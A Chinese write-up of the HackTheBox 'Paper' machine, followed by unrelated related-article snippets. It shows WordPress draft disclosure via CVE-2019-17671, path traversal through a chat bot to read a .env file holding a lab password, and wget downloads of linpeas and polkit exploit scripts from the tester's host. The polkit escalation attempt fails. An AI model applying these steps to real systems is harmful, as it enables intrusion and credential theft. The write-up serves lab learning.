HackTheBox-Machines--Paper

文章目录

  • 0x01 信息收集
  • 0x02 漏洞利用 CVE-2019–17671
  • 0x03 CVE-2021-3560 权限提升

Paper 测试过程

0x01 信息收集


a.端口扫描: 发现 22、80、443 端口

nmap -sC -sV 10.129.206.164

在这里插入图片描述

2. 访问 80 / 443端口,页面一致

在这里插入图片描述

  检查页面,无可利用点。但是查看响应包,发现 X-Backed-Server 标头泄漏域名:office.paper

在这里插入图片描述

  访问 office.paper,在页面尾部发现网站使用 wordpress

echo "10.129.206.164 office.paper" | sudo tee -a /etc/hosts

在这里插入图片描述

  并且发现在 Feeling Alone! 部分描述,草稿中存在秘密信息

  如果可以在未授权情况下访问草稿文件,是不是就可以查看这些秘密信息。

在这里插入图片描述

3. 使用 Wpscan 对网站进行扫描

wpscan --url http://office.paper/ --api-token <api-keys>

在这里插入图片描述

0x02 漏洞利用 CVE-2019–17671


1.CVE-2019–17671 可以查看尚未发布的帖子

  漏洞payload:office.paper/?static=1
在这里插入图片描述

  在未发布的页面发现子域:http://chat.office.paper/register/8qozr226AhkCHZdyY

echo "10.129.206.164  chat.office.paper" | sudo tee -a /etc/hosts

在这里插入图片描述

  注册登录后进入聊天室,发现如下信息:

  > 1)recyclops help将显示命令
  > 2)recyclops 可以获取文件和列出文件
  > 3)该频道是只读的
  > 4)可以通过 DM 联系 recyclops

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.recyclops DM 利用

  > 1)list 列出文件

  显示目录/sales/,列出有效的目录,会返回该目录的内容。如果无效的路径,则报错,并给出完整的路径,怀疑存在路径遍历。

list

在这里插入图片描述

list sale
list sales

在这里插入图片描述

list ../

  > 发现 hubot 目录
在这里插入图片描述

list ../hubot

在这里插入图片描述

file ../hubot/.env 

在这里插入图片描述

  发现用户密码:recyclops:Queenofblad3s!23

  > 2)查看 /etc/passwd 列出所有用户

在这里插入图片描述

3.ssh登录

  recyclops:Queenofblad3s!23 登录失败
  dwight:Queenofblad3s!23 登录成功

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0x03 CVE-2021-3560 权限提升


1.使用 linpeas 工具进行信息收集

python3 -m http.server 8080
wget htpp://10.10.14.150/8080/linpeas.sh

在这里插入图片描述

chmod +x linpeas.sh
./linpeas.sh

扫描结果显示

在这里插入图片描述


Paper 测试过程未提权成功,后续待补充

2.polkitd 利用

  提权exp地址:

https://github.com/Almorabea/Polkit-exploit/tree/main

https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation

wget http://10.10.14.150:8080/poc.sh
wget http://10.10.14.150:8080/CVE-2021-3560.py

  两个提权exp都已经利用,但是未成功提权,后续待补充。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2979754.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

微软github技术公开课(web开发、生成式AI、ML、数据科学、物联网)

一些微软在github上公开的课程整理&#xff1a; web开发基础入门 面向初学者的数据数据科学课程 https://microsoft.github.io/Data-Science-For-Beginners/#/ 面向初学者的AI入门课程 https://github.com/microsoft/ai-for-beginners 面向初学者的生成式AI课程 https://…

【可实战】测试体系与测试方案设计(业务按公司实际情况,技术可参考通用测试方案)

一、如果我们要测试一个系统&#xff0c;首先我们要了解被测系统的架构 &#xff08;一&#xff09;业务架构-从需求里面去了解&#xff08;角色和行为&#xff09;&#xff1a; 业务模型分析&#xff08;是一个电商&#xff0c;还是一个企业的crm&#xff0c;还是一个网站&a…

Oracle之RMAN连接数据库及备份与恢复(一)

一、rman的相关概念和配置参数 rman几个重要的概念 1、备份集 备份集是一个逻辑数据集合,有一个或者多个rman的备份片组成。 备份片:是rman格式的操作系统文件,包含了数据文件、控制文件和归档日志、 备份集是rman的默认的备份文件,是备份片的集合。一般一个通…

【C 数据结构】树

文章目录 【 1. 基本原理 】1.1 子树、空树1.2 有序数、无序树1.3 森林 【 2. 结点 】【 3. 度、层次、深度 】 【 1. 基本原理 】 树结构是一种 非线性存储结构&#xff0c;存储的是具有 一对多 关系的数据元素的集合。一对多 如下图中的左图所示&#xff0c;对于数据 A 来…

【电子通识】什么是8D分析法?8D步骤及用法?

在问题分析时往往会听到8D报告这样的词汇。如在电源专题【电源专题】案例:电源芯片厂家怎么判断电源芯片端口是否损坏中我们使用的图片就来源于电源芯片厂家的8D报告。 什么是8D分析法? 8D问题分析由美国国防部于1974年创立,当时用于军用物资采购保障。目前在汽车产业、组装…

谷歌收录工具有什么好用的?

如果是想促进谷歌的收录&#xff0c;其实能用的手段无非就两个&#xff0c;谷歌GSC以及爬虫池 谷歌gsc就不用说了&#xff0c;作为谷歌官方提供的工具&#xff0c;他能提供最准确的数据&#xff0c;并且可以提交每天更新的链接&#xff0c;进而促进收录&#xff0c;只要你的页面…

ApiHug 的初心-ApiHug101

视频 秒懂 ApiHug -019 HOPE &#x1f525; H.O.P.E.: Help other people excellent &#x1f49d; 是这个项目最初的初心 &#x1f917; ApiHug {Postman|Swagger|Api...} 快↑ 准√ 省↓ &#x1f3e0; gitee github search ApiHug ApiHug &#x1f917; ApiHug {Post…

机器人模型匹配控制(MPC)MATLAB实现

模型匹配控制&#xff08;Model matching control&#xff09;是指设计一个控制器使闭环系统的传递函数tf(s)与td(s)相一致&#xff01; mpcDesigner 可以分为&#xff1a; 2时域精确模型匹配控制3频域精确模型匹配控制 机械臂控制中应用模型匹配控制&#xff08;Model Matc…

平衡二叉树(AVLTree)

AVLTree 1、树的分类2、平衡二叉树2.1、构建一个平衡二叉树2.2、删除节点2.3、搜索方式2.3.1、广度优先搜索&#xff08;BFS&#xff09;2.3.2、深度优先搜索&#xff08;DFS&#xff09; 1、树的分类 树形结构是编程当中特别常见的一种数据结构。比如电脑中的文件管理系统就大…

信息打点--公众号服务

微信公众号 获取微信公众号的途径https://weixin.sogou.com/ 微信公众号没有第三方服务 Github监控 人员&域名&邮箱 eg&#xff1a;xxx.cn password in:file https://gitee.com/ https://github.com/ https://www.huzhan.com/ 资源搜索 in:name test 仓库标题搜索含有…

C语言中字符串函数以及内存函数的使用和注意事项

目录 0. 前言 1、求字符串长度函数 1.1、strlen 模拟实现 2.长度不受限制的字符串函数 2.1 strcpy 模拟实现 2.2strcat 模拟实现 2.3strcmp 模拟实现 3.长度受限制的字符串函数 3.1strncpy 3.2strncat 3.3strncmp 4、字符串查找函数 4.1strstr 模拟实现 3.2strt…

修复版最新精仿熊猫办公PPT模板图片素材整站源码+WAP手机端+会员系统+火车头采集

修复版最新精仿熊猫办公PPT模板图片素材整站源码WAP手机端会员系统火车头&#xff0c;采用Empirecms7.5版UTF-8开发&#xff0c;是一款非常高端的ppt模板&#xff0c;图片素材下载站模板非常适合大型图库下载站&#xff0c;配有手机端模板&#xff0c;支持自定义设置会员组&…

面试官:在原生input上面使用v-model和组件上面使用有什么区别?

前言 还是上一篇面试官&#xff1a;来说说vue3是怎么处理内置的v-for、v-model等指令&#xff1f; 文章的那个粉丝&#xff0c;面试官接着问了他另外一个v-model的问题。 面试官&#xff1a;vue3的v-model都用过吧&#xff0c;来讲讲。 粉丝&#xff1a;v-model其实就是一个语…

python使用redis存储时序数据

import redisdef ts_demo():"""时序数据存储RedisTimeSeries测试"""# 连接到Redisr redis.Redis(hostlocalhost, password"xxxx", port63790, db0)r1 r.ts()# print(r1.get("ts_key"))# print(r.exists(ts_key))# # 清空键…

【技巧】Git 版本控制工具没有图标提示怎么办?

Git 版本控制工具在日常开发中使用率是非常高的&#xff0c;多数情况下会安装 TortoiseGit 之类的插件&#xff0c;让文件夹显示图标&#xff0c;方便观察文件的状态。但是有时装完插件之后发现&#xff0c;文件夹/文件并没有图标显示&#xff0c;可以按照以下思路进行排查&…

Ts支持哪些类型和类型运算(上)

目录 1、元组 2、接口&#xff08;interface&#xff09; 3、枚举&#xff08;Enum&#xff09; 4、字面量类型 5、keyof 6、in keyof 7、类型的装饰 静态类型系统 就是把 类型检查从运行时提前到了编译时&#xff0c;所以ts类型系统中的许多类型与js并无区别 例如&am…

2024-4-22 群讨论:微服务启动预热相关

以下来自本人拉的一个关于 Java 技术的讨论群。关注公众号&#xff1a;hashcon&#xff0c;私信进群拉你 Hotspot JVM 进程启动后&#xff0c;流量到来的时候 JIT 吃掉很多 CPU&#xff0c;如何观察到&#xff1f; 很多途径都能观察到&#xff1a; top -Hp&#xff1a;这个需…

MTK6775/MT6775/曦力P70联发科处理器性能参数资料

联发科MT6775(曦力P70)芯片搭载强大的Arm Cortex-A73/A53八核CPU&#xff0c;并采用台积电12纳米FinFET制程工艺&#xff0c;相较于其他14纳米级别产品&#xff0c;功耗节省达到了15%。此外&#xff0c;曦力P70还配备了高效能的Arm Mali-G72 GPU&#xff0c;相比上一代产品曦力…

Java——继承与组合

和继承类似, 组合也是一种表达类之间关系的方式, 也是能够达到代码重用的效果。组合并没有涉及到特殊的语法 (诸如 extends 这样的关键字), 仅仅是将一个类的实例作为另外一个类的字段。 继承表示对象之间是is-a的关系&#xff0c;比如&#xff1a;狗是动物&#xff0c;猫是动…

YOLOv9训练结果分析->mAP、Precision、Recall、FPS、Confienc、混淆矩阵分析

简介 这篇博客&#xff0c;主要给大家讲解我们在训练yolov9时生成的结果文件中各个图片及其中指标的含义&#xff0c;帮助大家更深入的理解&#xff0c;以及我们在评估模型时和发表论文时主要关注的参数有那些。本文通过举例训练过程中的某一时间的结果来帮助大家理解&#xf…